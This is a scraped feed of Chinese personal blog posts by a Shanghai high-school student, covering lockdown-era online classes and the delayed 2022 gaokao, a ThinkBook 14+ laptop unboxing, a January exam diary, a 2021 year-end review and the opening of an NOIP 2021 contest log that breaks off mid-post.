漫长的网课生活原以为网课应该会和高一的时候一样比在校要轻松,结果第一天下来就累死了。每节课由40分钟变成了120分钟,而且从早上7点半到晚上9点半全程要活在摄像头监控之下,和监狱里犯人的待遇差不多了(看来我校“上海衡水”的外号不是白叫的)。
然后毕竟是高三嘛,少不了各种考试和测验。尽管有摄像头,但也只是防君子不防小人。如果说平时考试有水分的话,网课考试简直就是在水里考,几次考试我的排名都噌噌噌掉了60多名。幸好网课的成绩不作为任何依据,只是供自己参考。
网课一周接着一周,看着每天都在飙升的疫情数据我预感大事不妙,果然不久市教委通知等级考延期一个月,高考延期一个月。此时我的内心是崩溃的。说实话整个高三都没有击垮我,真正击垮我的是在还有1个月就要刑满释放的时候,突然得知要加刑1个月,这种计划、愿景的破碎太令人痛苦了。最后我也只能认清形势,放弃幻想。
居家的日子关于核酸,三天一大筛,五天一小筛,这种日子已经习以为常了,半年来喉咙都快被捅出茧子了,没完没了的核酸、核酸。后来还发了抗原,也是每天自己捅鼻子,拍照上传。
关于物资,这真的得感谢我妈。她听信了一些被“辟谣”的小道消息说上海要封城,提前屯了很多菜才不至于像网上很多人那样被封了个猝不及防。每天早上还兢兢业业地在各种平台上抢菜。至于居委会嘛也确实发了菜,但是显然不够一家三口人吃的,而且蔬菜品质不佳。有一次发了两个橙子,我妈随手放冰箱了,结果放了一天就已经发霉到烂完了,还把冰箱里的其他东西都搞上了一股烂橙子味,又舍不得扔只能吃了好几天烂橙子味的鸡蛋和蔬菜。
关于快递,这点我们小区还是做得可以的。统一放在小区门口的快递架上,门卫会帮忙消毒、带进来,也没有随意丢弃、处置快递和物资。
关于配药,因为我痤疮比较严重,药又刚好用完,医院是不敢去了,于是第一次体验了互联网医院这种东西。用起来还是很方便的,手机上就能调出之前去医院的病历,然后就可以开处方药,快递到家。
一个月的线下复课大概六月初终于回到了学校,然而不能坐公共交通上下学,全天戴口罩,每天依旧要做抗原+核酸。
等级考前,每天就上四节40分钟的课,然后做核酸,学校里一层楼两百多个人共用一个检测点,排队排了半小时。每天竟然下午三点就放学,不过回到家后依然要视频监控,快吐了。
等级考之后放学时间调到了5点半,全天课表语数英塞满,高二的同学也都回家继续上网课了,整个学校就只有高三的还在。天天都在期盼着高考的到来。
期间做了数学的全国高考卷,是真的难,对于普通的上海考生而言即使能用计算器也不好做。还写了语文的几篇全国高考作文,感觉立场出题人都帮你预设好了,写起来很没劲,尤其是红楼梦的那篇和本手俗手妙手的那篇写出来简直一模一样,还是上海的作文有意思。
六月底的时候毕业证书到了,因为疫情没有毕业照、没有毕业典礼,但班主任还是仪式感满满地让大家一个一个上台领毕业证书,终于毕业啦。
6月30日,在校上课的最后一天。前几天还想着“这学校我是一秒都待不下去了”,可真的到了最后一天还是很不舍的。和同学拍了很多照片,没有正式的毕业照我们也自己 DIY 了一张。下午布置完高考考场就放学了,但大家都没有要走的意思。折了很多纸飞机,站在教学楼顶一起往下飞,大家互相加油打气。
物理等级考6月18日参加了物理等级考,原以为会和2020年疫情后的那场等级考一样很难,结果走了另一个极端——过于简单。
整张卷子可以说让高二的我来做都没有问题。但是简单也意味着极高的风险。等级考划分等级看的不是分数而是名次,卷子过于简单缺少区分度,会导致错误被放大,稍有不慎就会出现断崖式的滑档。
很不幸我中招了。压轴题第二问二元一次方程解错了,后面三问用的都是错误的数据,考完出来一对答案我真的哭死。整张卷子就错了这一道题,但是很致命,感觉可能要得B了。
秋季高考7月7日、8日、9日参加了2022年上海市秋季高考,延期一个月,它终于来了!
一早来到学校,刷了身份证,测体温,然后到学校的新楼候考。(新楼终于装修好了,只可惜我已经毕业了)
提前半小时终于让进教学楼了,我的考场竟然在顶楼,爬楼梯太累人了。到达考场过完金属检测,一进教室就看到讲台前一个熟悉的身影,监考老师竟然是生物老师?!
高二考完生物等级考后她就去教下一届了,一年多没见竟然以这种方式又见面了,而且她还记得我,一下子就认出我了,还笑着问我怎么又长高了,很意外。
第一天考下来语文感觉挺顺手的,作文之前还担心会不会像浙江那样彻底沦为申论,结果依旧很有上海的思辨特色,能写的角度很广,但是考完没啥感觉也不知道考得怎么样。
数学只能说会做的确实都做对了,但是压轴爆杀我,填选压轴都错了,解答压轴猜对了答案不会证,无缘135+,另外应用题答案很怪,让我一度不敢相信,解析几何也不太常规,差点就寄了。
第二天下午考英语,自从春考结束后就没上过英语课,只是打算去碰碰运气的。下午很早进入考场,闲得无聊就打开收音机听 FM 89.9 MHz(英语听力的频率),竟然在放《凤凰花开的路口》,我戴着耳机坐在考场里听得快破防了,这歌选得真应景啊。(899 老传统了,每年秋季高考英语听力之前都要放一首歌,把考生搞 emo 之后再来一句“祝各位考试顺利”,用心险恶啊😂)
考下来竟然感觉比春考还简单,第三天的口语也很常规,感觉我又行了,看看能不能比春考高。
感觉今年整体难度不高,大概是因为疫情闹得这么严重想要稳定社会吧,但最后分数线估计也会高不少,高分段竞争更加激烈了,有点担心能不能上得了自己喜欢的专业。
等级考查分7月15日查到了物理等级考成绩,很害怕看见B,还好最后拿了个A(赋分67/70)。虽然最初的目标是A+啊,但毕竟这么简单的卷子错了不该错的题,拿个A也心满意足了,至少没有应验我们物理老师的经典劝退名言“选物理,得个B”。
亿些总结 关于疫情这半年可以说是击碎了我对于中国社会的一切幻想,润的决心更加坚定了。两年了,我们几乎没有进步。
早在2020年的文章中我就提到过,如果只是问责几个官员,然后开庆功大会、高唱赞歌,不反思、不吸取教训,十几年后这一切必定会重演。现在看看还是低估了人类的能力,短短两年之前发生的一切又在另一座城市原封不动地上演了一次。
原本还对上海这座城市有一些期望,因为一直以来我能够感受到这座城市的人文、人情和人性,包括之前的精准防控效果很好,生活几乎已经回归到了正轨。
但疫情爆发后的这半年目睹的种种现象,让我一下子对这座城市失去了信任。扑杀宠物、强行破门、发国难财、重症病人无处就医等等,如此种种两年前就发生过的事情竟再度上演,政府公信力在一次又一次的对辟谣的辟谣中瓦解。所谓的生命至上被原则化、政治化,在疫情防控面前,似乎个体的生活乃至生命都是可以被牺牲的——只要与新冠无关。这个城市、这个国家的未来还会好吗?
虽然短时间内应该是润不了,而且国内也有家人,能否适应一个新的环境也是个问题,但是至少现在可以做些准备了。等到哪天铁拳真的砸到我头上了,就努力润吧。
致我逝去的高中生活最后,讲讲这三年的高中生活。
尽管这所学校的领导层和部分老师有点招人厌,形式主义泛滥,标榜着某些好听的口号却实则是在复刻衡水模式,但是很幸运遇到了非常好的同学和老师(可能是在实验班的缘故),让这三年值得我留恋。
先说同学,大家的关系都非常好。每逢大考小考教室就成了菜市场,一个个也不管考了几分都在那里卖菜;空闲的下午总能找到人陪你去自习室看书刷题,学习氛围很棒;我篮球打得很糟糕,然而每次几个同学去打球都会叫上我…总之很高兴高中三年有这么好的同学相伴。
再讲讲任课老师,尤其吹爆语文老师,至少是打破了我对于语文老师的刻板印象。她可以说是非常理性,从不生气,即使生气了也不表现出来,只是苦笑着阴阳怪气两句,听不懂的还以为她在夸你呢(比如“我们班的同学真是太优秀了,默写这5分根本看不上,我们要拿就拿后面的分”)。而且比起华丽虚浮的辞藻她更看重逻辑,无论是作文还是答题。甚至专门花了两节语文课给我们讲形式逻辑,讲同一律、矛盾律、排中律,讲典型的逻辑谬误,能够接受这样的语文教育真的很幸运。
总的来说高中三年虽然对学校没有多少认同感,但是很幸运能够碰上这么好的同学和老师,希望以后还能常联系吧。
之后的安排7月23日出成绩,然后就要开始忙起来了,强基、志愿填报、综合评价批次面试,最理想的情况是综评批次被录取,这样8月4日以后就可以定定心心地过暑假了。
至于原本打算回老家的计划因为该死的疫情也只能泡汤了,三年没回去了,下一次有机会回去也不知道是啥时候。
好了,这篇周记就到这了。下一篇周记大概在录取结果出来之后吧,希望到时候能去想去的学校和专业。
]]>
+
+
+ <p>大家好呀。转眼到了7月中旬,“周记”系列时隔大半年终于等来了更新(好耶!)。</p>
+<p>前段时间我终于考完了秋季高考,并且高中毕业啦!趁着现在还没出成绩比较空闲,决定把这个大坑填一下。</p>
+<p>所以这篇文章就是关于我消失的这半年发生的事情。因为这半年经历了太多,<s>所以大概也要讲个半年吧</s>(bushi)</p>
+<p>咳咳,那么就开始吧!</p>
+
+
+
+
+
+
+
+
+
+ ThinkBook 14+ 2022 i5 独显版开箱
+
+ https://blog.hans362.cn/post/thinkbook-14-plus/
+ 2022-07-11T10:13:24.000Z
+ 2024-04-24T14:30:59.333Z
+
+ 好久不见。大家可能已经知道了,因为这该死的疫情,上海的秋季高考推迟一个月举行。这对我来说不仅痛苦延长,而且人生中期盼已久的的真正意义上的暑假也完全泡汤了。
好在这几天终于考完了高考,可以暂时轻松一段时间了。关于近况之后会再开一篇又臭又长的文章好好讲讲,这里先不赘述了。
言归正传,考完试后,我就开始物色人生中第一台属于自己的笔记本了。经过一番精挑细选,最终选择了 ThinkBook 14+ 2022 i5 独显版,这篇文章就来开个箱以及记录一下使用感受。
选择缘由首先考虑到这是一台将要陪伴我至少4年的笔记本,因此坚持“买新不买旧”的原则,又考虑到大学大概率会选择计算机专业,听说 AMD 处理器会有一些问题(虽然可能现在已经没有了),决定只考虑搭载了 Intel 12代处理器的笔记本。
然后平时偶尔会打打游戏,主要有 Minecraft、原神(诶嘿~我收回之前说过只玩 MC 的话),而且暑假里因为疫情不能出门聚会,和高中同学约了一起打老头环,所以肯定要有一块独立显卡,显存还不能太小。
最后考虑便携性,2kg 以上的笔记本就不考虑了,也就意味着游戏本基本上都不考虑。毕竟天天背着笨重的笔记本在宿舍楼和教学楼之间来回跑简直是酷刑。感谢之前 @PRIN 大佬的一篇文章《上大学买游戏本,你可能会后悔》 。
综合以上几点最终确定了这台 ThinkBook 14+ 2022 i5 独显版。12代 i5-12500H 处理器搭配 RTX 2050 光线追踪显卡,除了续航能力崩了而我又恰好不介意这点之外,其他看上去都没有什么问题。6299元的售价更是非常的香。于是就在京东下了单,竟然当天下午就收到货了,现在买东西是真的方便啊。
开箱验机在下单之前也看了网上很多的翻车记录,有人屏幕装歪了,有人四个脚垫不一样高,有人触摸板缺了一角,有人键盘的某一个键和别的键手感不一样,还有人屏幕漏光或是水波纹。不过想着这么高的销量有些翻车也正常,所以没太担心。
又看到这款电脑的无线网卡是 Intel 和 Realtek(可能存在断流问题)随机发货的,硬盘是三星和镁光随机发货的,还挺期待自己会不会中奖。
到手后,最外面是京东的纸箱,里面又套了一个 ThinkBook 的纸箱,再里面才是本体和充电器。
笔记本约1.4kg,没有想象中的轻但也能够接受,14寸的大小对我而言刚刚好,厚度也很满意。仔细检查了一下外观上没有翻车。
原装充电器是三段式的设计,和传统笔记本比较相似,连接市电的那端用的是三脚插头,好评(后面会提到原因)。但是这也带来一个问题,就是挺重的。外出携带的话我可能会考虑再另购一个氮化镓的充电器。
机身侧面有两个 USB 3.2 Type-A(左右各一),一个 USB 3.2 Type-C(左侧,也用作充电口),一个 ThunderBolt 4.0(左侧),一个 USB 2.0 Type-A(右侧隐藏式)。除此之外还有一个 HDMI 2.1 TMDS(左侧),一个耳机麦克风二合一接口(左侧),一个 RJ45 以太网接口(右侧)以及一个 Micro SD 卡槽(右侧)。
盖子可以单手开合。开盖后直接按电源键开机没反应,说明电脑正处于出厂后的运输模式中,不是翻新机。连接电源后正常开机,进入 Windows 11 OOBE。
到了联网的这一步有一个小技巧。因为万一要退货机器是不能联网激活的,而 Windows 11 又不提供跳过这一步的按钮。因此我们可以用 Shift + Fn + F10 打开命令提示符,再输入 taskmgr 调出任务管理器,在进程中找到“网络连接流”,结束任务即可跳过联网。后续会让你创建本地账户,如果想要使用 Microsoft 账户可以等到验机没有问题联网后在设置里关联。
进入桌面后先用工具箱看了下配置,惊喜地发现中奖了 Intel AX201 网卡和三星的固态硬盘,爽。就是头一回见到 16G 内存竟然是一堆 2G 叠出来的,属实有点离谱。
性能测评以下测试均在均衡模式下连接充电器进行,仅供参考。
CPU-Z 测试结果:
GPU-Z 测试结果:
CineBench R23 多核测试结果:
SSD Benchmark 测试结果:
显示器色域测试结果:
测试过程中风扇转速加快,能够明显听到风声,但个人认为可以接受,不影响使用体验。屏幕转轴处较烫手(靠近散热口),但键盘温度并没有明显上升,使用舒适。
因为不想让某大师玷污我的电脑,所以此处没有某大师跑分截图。
使用体验 一些小优点接口丰富,扩展性强。USB 接口完全够用,同时主板上还预留了一个硬盘位,可以加装一块硬盘。 隐藏式 USB 2.0 设计超赞。乍一看很鸡肋,又慢又不方便,但实际上设计的初衷是用这个口连接一些无线适配器,如无线键鼠等。这些设备的接收端通常很小,也不需要 USB 3.2,刚好能把仓盖盖上藏起来。 1080P 高清摄像头,带红外功能,支持 Windows Hello 人脸解锁。 原装电源适配器是三脚插头(上文提到过),因此有接地,金属外壳不会在充电时带上电荷而让人感觉酥酥麻麻的,更不会升天警告。(经典咏流传) 准备买个单相电源体验一下 一些小不足因为厚度的制约,键盘键程较短,打字手感需要适应。没有数字小键盘,上下方向键是半高的,对于部分游戏玩家可能不那么友好,建议外接键盘。 没有指纹识别,不过有人脸解锁也够用了。 电源适配器较重,携带不便。(上文提到过) 显卡是 RTX 2050,算是一个阉割版本。对于游戏性能要求较高的玩家慎入,对我而言能玩就行。 续航真的不行,对续航有要求的慎入。用电池建议开节电模式可以撑5个小时以上,不过我习惯插电使用,问题不大。 屏幕转轴阻尼设计不好,开盖后屏幕会抖动一会儿。 游戏实际体验Minecraft 开光影稳定高帧率,游戏体验很好。
原神中画质稳定60FPS,游戏体验同样很棒。
至于老头环还没买,暂时无法体验。
生产力实际体验这篇文章就是在新电脑写的,习惯了键盘后体验很棒。
屏幕比例是 16:10,这个比例写代码也很舒适,屏幕大小完全够用。
16GB 内存够用,Chrome 标签页随便开无压力。
总结总的来说这台电脑非常符合我的预期,即使有一些小问题也是我不在意的,整体用起来非常舒适。当然本文仅代表我个人的体验,大家还是要根据自己的需求进行选择,毕竟适合自己的才是最好的。
]]>
+
+
+ <p>好久不见。大家可能已经知道了,因为这该死的疫情,上海的秋季高考推迟一个月举行。这对我来说不仅痛苦延长,而且人生中期盼已久的的真正意义上的暑假也完全泡汤了。</p>
+<p>好在这几天终于考完了高考,可以暂时轻松一段时间了。关于近况之后会再开一篇又臭又长的文章好好讲讲,这里先不赘述了。</p>
+<p>言归正传,考完试后,我就开始物色人生中第一台属于自己的笔记本了。经过一番精挑细选,最终选择了 ThinkBook 14+ 2022 i5 独显版,这篇文章就来开个箱以及记录一下使用感受。</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 周记#24 - 一月、春季高考、寒假
+
+ https://blog.hans362.cn/post/weekly-24/
+ 2022-01-28T07:26:35.000Z
+ 2024-04-24T14:30:59.337Z
+
+ 猛然发现上一篇“周记”竟然是183天前写的,再不更新就要成“年记”了。因为高三了平时也确实没时间写东西,整个高三上学期就发了几篇 OI 游记还有一篇年终总结。正好最近放假稍微轻松一点了,就来写写2022年的第一个月发生的事吧。
(话说一直想给这个系列换个名字,一周一记是绝对不可能滴,那么该叫什么好呢🤔)
急性肠胃炎万万没想到2022年刚开始就碰上这种事情,而且还是在春季高考前3天。
1月5号大概上午第四节课下课突然胃疼,起初疼得还不算厉害,以为只是饿了也没在意,想着再熬一节课去吃个饭应该就好了。正好第五节是化学课,我不选化学就去自习室刷英语题。谁知道开始疼得越来越厉害,直冒冷汗的那种。我感觉笔都拿不动了,题目也做不进去,索性趴在桌子上休息了一会儿。
下课忍着痛去食堂,食堂里人山人海,而我已经疼得站都站不稳了。在人最少的窗口买了份饺子,结果发现疼得完全吃不下去,吃了两个就回教室了。想到下午全是英语课就在纠结要不要请假回家,最后疼得不得了于是向班主任请了假。到家吃了铝碳酸镁片,想着睡一觉应该就好了。然而并没有用,醒来依然疼得离谱。最后顶不住了决定晚上去医院看急诊。
原以为到了急诊就能看上,结果六院急诊内科人真的多,还得等两个小时。我已经疼到绝望,整个人蜷缩在座位上又坚持了两个小时。晚上八点好不容易排到我了,医生开了血常规和淀粉酶化验,然后去抽血。报告出来一看白细胞↑,C反应蛋白↑,确诊急性肠胃炎。医生知道我过两天要春季高考直接让我去输液,开了头孢和止痛药,四袋输完疼痛总算稍微减轻了一点。因为后面两天还要去医院输液,我就都请假在家休息了。班主任非常好心地帮我在钉钉上开了个直播,我在家里就能跟着把课补上,很感动。
总之因为治疗及时最后没有影响到春季高考,输了三天液又活蹦乱跳了。仔细回忆了一下好像这段时间也没有乱吃什么东西,不知道为何突然弄出了肠胃炎。
春季高考1月8日-1月10日参加了2022年的上海市春季高考。
上海高考有春秋季两次。春考招生的院校和专业相较于秋考要差很多,所以除非高二等级考暴毙否则基本上不会选择春考走掉。多数考生参加春考是冲着英语去的,因为英语高考成绩是在春考和秋考中取高分,而春考英语的试题难度和主观题部分的批改严格程度一般比秋考英语低,所以如果春考英语能够取得好成绩的话下半学期就可以放掉英语,专攻其他科目。当然这并不意味着语文、数学可以乱考,因为春考同时也代替语文、数学、英语的合格考,不及格的话高中就毕不了业了。
Day 1上午考语文,照例在自己学校考试。尽管是新教材的第一届,语文试卷结构没有发生变化,对于整本书阅读的考察与考试手册上的样卷一致,作文依旧具有上海特色的思辨性。默写、积累运用、现代文一、文言难度都不高,唯独现代文二暴杀我,文章里每个字、每件事都看得懂,但是组合起来不知道作者想表达什么主题,后面的题目是真不好做,写满就是胜利。因为现代文二卡太久了,作文险些来不及写,确实思路也没打开,写得浅了一些。
下午考数学,又是脑子掉线的下午。填空11解析几何做不来,5分再见。填空12我都把那个函数的图像画出来了,周期性和对称性也都发现了,愣是没看出那个极限就是两条渐近线之间的距离,5分再见。没想到的是应用题竟然暴杀我,因为设角设得不当导致最后解析式写出来了,最值求不来。卡了好久最后用正切和正割做的终于求出最值了,答案是对的就是不知道批卷老师会不会扣过程分。解析几何大题差点把第一问的条件代入第二问,幸亏后来发现了。第三问也是想了很久,因为参数方程平时用得少,最后想到参数方程了并且做出来了。最后一题最后一问没时间了,随便写了两笔就收卷了,8分再见。
晚上回家还是忍不住好奇想对答案,于是上了知乎。事实证明别在网上乱对答案挑战自己的心态,知乎上的答案真的是五花八门,各种错误答案都有,居然还有人问一道证明题算出来结果是多少,就离谱。想着反正英语才是重头戏,也没有啥心理负担,继续看了看英语作文,练了一篇听力保持手感,准备调试好收音机和耳机。
Day 2早上考英语笔试部分(140分),因为有听力提前了半小时进场。我为了保险带了两台 PL-380,到座位后调好收音机频率和音量。我惊讶地发现 FM 89.9 MHz 长三角之声从未如此清晰,试运转时的电流声和底噪都没了。
到点了开始放听力,播音员口音非常标准,语速也很合适,没有18年的戏精男和19年的口齿不清男,整套听力做下来就是爽+简单,做完听力顿时信心倍增。
语法填空也很简单,就是第二个空竟然一下子卡住了,大致是说 Aurora 这个名字来源于啥啥啥,我竟然连 come from 都忘了,一直想不到那个介词 from,最后填了 after(因为想到 name after),痛失1分。
十一选十、Cloze 还是很简单,全文逻辑清晰,没有任何一空是让人纠结的,都是看一眼就出答案的那种。
阅读理解A、B、C篇也都很简单,除了A篇的一道题之外均无任何争议的余地。A篇那道题个人认为命题不当,大家都在B、C中纠结,我倾向于选择B选项。当然考试院自从一次事故之后就不公开高考试题和官方答案了,所以正确答案就只有出卷人知道了。文章和题目在下面,感兴趣可以做一做。
Question: What can be inferred from the dialogue between Jenny and Oliver? A. … B. Oliver would rather spend the money on survival. C. It was difficult for the couple to make any decision. D. …
六选四依旧秒杀。主观题部分概要写作文章思路也很清晰,难度不大。
翻译看到那个 sow 就知道要死一片人了。出题人还用心险恶地在句中加了“昨天”这个时间状语,让你根本逃不过去使用 sow 的过去式,于是肯定有很多人写了 sew。认真看过考试院发布的词汇手册的同学应该清楚过去式是 sowed。“落寞已久”写了 long-gloomy,不知道算不算对。
作文依旧是书信类,感觉自己写得中规中矩吧,内容上就平平无奇了,能用的词汇句式也都用上去了。最后险些写不下结尾,一行里挤了两行,希望没事。
今年的春考英语卷子客观题部分简单得有些不像话,这样的话根本拉不开差距,人均135+还有什么意义。
Day 3最后一天上午考口语(人机对话,人工批改),我是排在上午第三场。由于前面两场出现了技术故障(再次感叹我校机房电脑真的不行),在等候室里多等了十几分钟。一个机房里两套题,保证每个考生的前后左右的试题和他的不一样。我抽到的那套题比较简单,提问、看图说话、快速应答都很常规。就是最后的开放性问题有点扎心,问的是 Do you think you are a sociable person? Why or why not? 社恐表示很淦。因为自己确实不是那么 sociable,干脆实话实说了,顺便列举了几个自己平时社恐的例子加以佐证,说个五六句就差不多了。
愉快的团建考完试趁着还没出成绩和同学出去玩了半天。第一次玩了剧本杀,开了个微恐的7人本。结果挺吓人的啊,每次一关灯我们7个男的就往后躲缩在角落里瑟瑟发抖。总的来说还是玩得挺爽的,非常烧脑,演绎也很棒。另外竟然还有售后服务,大晚上的差点没把我吓着。
P大寒假营12月份的时候报名了P大的寒假营,本来觉得过不了初审的,结果竟然过了?!然后因为疫情寒假营是线上举办,最重要的是第一天的综合测试。P大直接用 HSK 考试客户端改了个寒假营考试客户端。离谱的是选考科目竟然只能选物理/化学/政治/历史四选二,对于我这种物地生选手简直没得选,只好选了物理+化学。
作为上海考生考下来的感受是除了语文还行、英语秒杀之外是真的难。数学20题就做出了8题,物理那简直就跟没学过一样,和化学没区别。上海高中物理真的是全世界最简单的物理,啥重要啥不学,做一下全国的物理瞬间就暴毙。化学么反正我也没学过等级考课程,全是蒙的,最后无聊到在那背第一页的元素周期表(不能提前交卷)。总之就当体验一下了,优秀营员是不可能了。第二天就是听听教授们的讲座,然后可以线上参观P大校园。
春考查分随着这个日子一天天接近,真的是越来越紧张,甚至觉都睡不好。查分前一天偶然发现“随申办”小程序里已经做好查分页面了,忐忑地输入信息点击查询结果啥都没查到。查分当天上午循环播放《好运来》(当代高中生迷信行为),本来说是下午两点出分,中午12点多的时候我随手打开“随申办”小程序,原本以为会和之前一样还是啥都没有,结果竟然分数一下子就跳出来了,给我整傻了,还没来得及紧张就直接查到分了。
语文数学就不说了,全面爆炸,全部献祭给了英语。原本看到英语141还挺高兴的,毕竟实现了2022年的第一个愿望。结果问了一圈发现人均140+,全年级140+有将近60人,也就是说我的英语成绩排名从平时的年级前10名一下子掉到30-40名,顿时就高兴不起来了。但是要说差吧,年级最高分也才145,可见这个分数段有多紧,根本拉不开。
虽然觉得有点不甘心最后还是决定放掉英语,毕竟语文和数学秋考要是还考成这样就没学上了。所以现在高考成绩已经拿到了281分,下一个目标:物理等级考A/A+,继续加油。
总结总体而言这一个月非常充实,也算是走好了高考的第二步,英语一考上岸了。
后面一段时间就是上课+写作业,不过相比于上学要轻松多了。再努力几个月,希望能考到理想的大学。下一篇“周记”大概要5个月后了,咕咕咕咕咕 。
]]>
+
+
+ <p>猛然发现上一篇“周记”竟然是183天前写的,再不更新就要成“年记”了。因为高三了平时也确实没时间写东西,整个高三上学期就发了几篇 OI 游记还有一篇年终总结。正好最近放假稍微轻松一点了,就来写写2022年的第一个月发生的事吧。</p>
+<p>(话说一直想给这个系列换个名字,一周一记是绝对不可能滴,那么该叫什么好呢🤔)</p>
+
+
+
+
+
+
+
+
+
+ 2021年终总结
+
+ https://blog.hans362.cn/post/2021-annual-report/
+ 2021-12-31T14:49:27.000Z
+ 2024-04-24T14:30:59.321Z
+
+ 时间过得真的好快,转眼又是一年年末,不知不觉竟然就要步入2022了。
这段时间一直在备战英语春季高考,于是把年终总结一拖再拖。现在是2021年最后一天的晚上7点,我刚刚从学校回到家中,刷了一天的英语卷子已经累得想要躺平了,正好写点东西放松一下。
那么,就来回顾一下我的这一年吧。
回顾 2021 Blog / 博客为了看看今年的博客访问量等数据,我打开了自上次写完年终总结就再也没用过的 Google Analytics。这次试了试自定义报告的功能,能够自动生成和去年同期比较的数据报表,还挺方便的。
从报告中可以看出,博客和去年相比访问量下降了一半,来自搜索引擎的访问比例也降低了不少,确实今年学业方面比较忙,没有什么稍微有质量的内容的产出。
今年博客新增9篇博文(不算这篇年终总结的话),要是还有你没读过的,不妨去「归档」页面看看哦。
今年博客新增有效评论9条,感谢每一位在评论区留言互动的人。
Study / 学习文化课方面,上半年主要在准备地理和生物的学业水平等级考,经过几个月的努力终于在6月收获了梦寐以求的两个 A+(等级赋分满分),走好了高考的第一步。下半年少了两门课要轻松一些,开始侧重英语,为明年的春季高考做准备。因为英语还不错,11月份的时候被拉去参加了上海市高中生英语竞赛,最后摸了个2=。12月一模考试考了 599.5/660,校排名进了前十,挺意外的。
OI 方面,作为退役人士抽空参加了今年的 CSP/NOIP 系列赛事,CSP 捞了个1=和2=,NOIP 捞了个2=。
(此处应还有一张配图,然而由于低效的 CCF,截止至2021年12月31日,NOIP 证书还没到手)
可以说,今年大概是 New Year Resolution 全达成的一年,想想还是挺高兴的。
Life / 生活害,一时半会儿也想不出来该写些什么。基本上每天都在家和学校之间来回奔波,也习惯于每天11节课、大量作业和6小时的睡眠。虽然有时候确实很累,回想起来,却只记得为目标努力的日子很充实,和同学相处的日子很快乐。
展望 20222022大概是我人生中关键的一年,高考、成年、大学…无数的可能性都将在这一年里发生。所以,我在此许下几个愿望,明年争取一一达成!
首先是几天后的春季高考,希望英语能够135+上岸(当然最好是140+)。接着是五月份的物理等级考和六月份的秋季高考,希望能够考取理想的成绩,进入喜欢的大学和喜欢的专业。
暑假里想要回一趟老家,因为疫情的缘故以及市教委的各种防疫规定,我已经将近三年没有跨出上海了。离疫情爆发已经过去两年,完全恢复到疫情前的生活似乎显得希望渺茫,但我还是希望这场灾难能够尽快结束,也希望我们都还记得那些值得被铭记的人和事,对抗所谓「正确的集体记忆」。
新年特别活动为了感谢各位一年来的支持,决定在2022新年整点活。作为退役 OIer 第一次尝试自己出了几道题,组了一场 IOI 赛制的「2022 新年欢乐赛」,参与比赛、提交代码就有机会获得来自 Hans362 的新年红包哦。
报名链接:https://match.oj.0vv0.top/contest/1 比赛时间:2022.1.25-2022.2.6 编程语言:C/C++ 98/C++ 11/Pascal/Java 8/Java 11/Python 2/Python 3 暂定奖励方案:比赛结束后,排行榜第一名发放10元微信红包,第二、三名发放5元微信红包。(总分同分则以A、B、C题为第二、三、四关键字排序)
毕竟是我这个菜鸡出的题,难度都不大,同时比赛会开放十几天,欢迎大家抽空来尝试一下哦。因为是穷学生,要是有人赞助一下奖励就更好了 (你在想桃子)
尾声特别感谢此时此刻读到这的你,祝你2022新年快乐,梦想成真(≧▽≦)/
Hans362 's Blog,四周年快乐~
]]>
+
+
+ <p>时间过得真的好快,转眼又是一年年末,不知不觉竟然就要步入2022了。</p>
+<p>这段时间一直在备战英语春季高考,于是把年终总结一拖再拖。现在是2021年最后一天的晚上7点,我刚刚从学校回到家中,刷了一天的英语卷子已经累得想要躺平了,正好写点东西放松一下。</p>
+<p>那么,就来回顾一下我的这一年吧。</p>
+
+
+
+
+
+
+
+
+
+
+
+ NOIP 2021 游记&退役记
+
+ https://blog.hans362.cn/post/noip-2021/
+ 2021-11-21T14:17:52.000Z
+ 2024-04-24T14:30:59.329Z
+
+ 11月20日下午一点,考场内清脆的结束铃响起,我按下了屏幕上的提交按钮,短暂的三年 OI 生涯终于随 NOIP 2021 的落幕画上了句号,我的心里感慨万千。这应该是这个博客的最后一篇 NOI 系列活动游记了,因为,无论这次考得怎样,我都真的彻底退役了,高三了,老了。
Day 0没想到 NOIP 竟然不在自己学校考,大概是因为比起 CSP-S2 人要少很多,我被分配到了比较远的华师大二附中某分校,路上要花不少时间。
考试前一天周五晚上六点放学(毕竟高三了),回到家都已经七点了,写了会儿作业就开始看 OI Wiki,复习了一些模版和 STL,十点多就睡觉了。
Day 1一大早六点起床,七点四十五到达考点。门口工作人员正在悬挂 NOIP(上海赛区)的横幅,排了会儿队测完体温就进去了。
进了机房找到座位开始试机。不愧是四大名校之一,华二的机房硬件设施比我校的高到不知道哪里去了。电脑装的是 Windows 10 精简版本,内存配了8个G,VirtualBox 装了 NOI Linux 2.0,总算不会出现 CSP-S2 时在我校虚拟机都开不起来的情况了。唯一一点不好的就是这精简系统把 Windows 自带的计算器给阉割了,要算个东西还得写代码。
到时间了下发密码,建文件夹,解压试题。看了眼编译参数,是开 O2 优化的,说明以后 O2 优化将成为常态。扫了一眼四道题,果然又没看到什么签到题,T1相对而言感觉是最好下手的,决定从 T1 开始。
T1 报数 number读完题想到了三种思路。第一种就是喜闻乐见的打表。幸亏我在考前仔细阅读了相关的技术条例,在 CCF 一份2011年的文件中明确规定了代码的长度不得超过 100KB,而这道题 1 0 7 10^7 1 0 7 的数据量显然会超出大小限制而爆零,果断否定。考完后发现傻乎乎打表的人竟然还真有,上海有个人打出了 23MB 的表。
第二种想法是预处理 1 0 7 10^7 1 0 7 以内所有含 7 7 7 的数字,打上不可报标记,同时对于每个含 7 7 7 的数字其整数倍对应的数字也打上不可报标记,这些都在预处理过程中完成,然后再针对每个询问进行查询。这种方法实际上就是所谓的「埃拉托斯特尼筛法」,貌似是本题的正解。我竟然在没有学过线性筛法的情况下自己想出了这种做法。悲催的是我错误地估计了时间复杂度,觉得预处理时间复杂度很高,查询又不需要使用到预处理的所有数据,会进行很多没有必要的预处理,从而超时。于是我在未加尝试的情况下 竟然毅然决然地否定掉了正解。我根本没有意识到这样的查询实际上是离线查询,查询时间复杂度是 O ( 1 ) O(1) O ( 1 ) ,预处理时间复杂度也不过 O ( n l o g l o g n ) O(nloglogn) O ( n l o g l o g n ) ,是完全可行的。这也为我在这场比赛的失败埋下了伏笔。
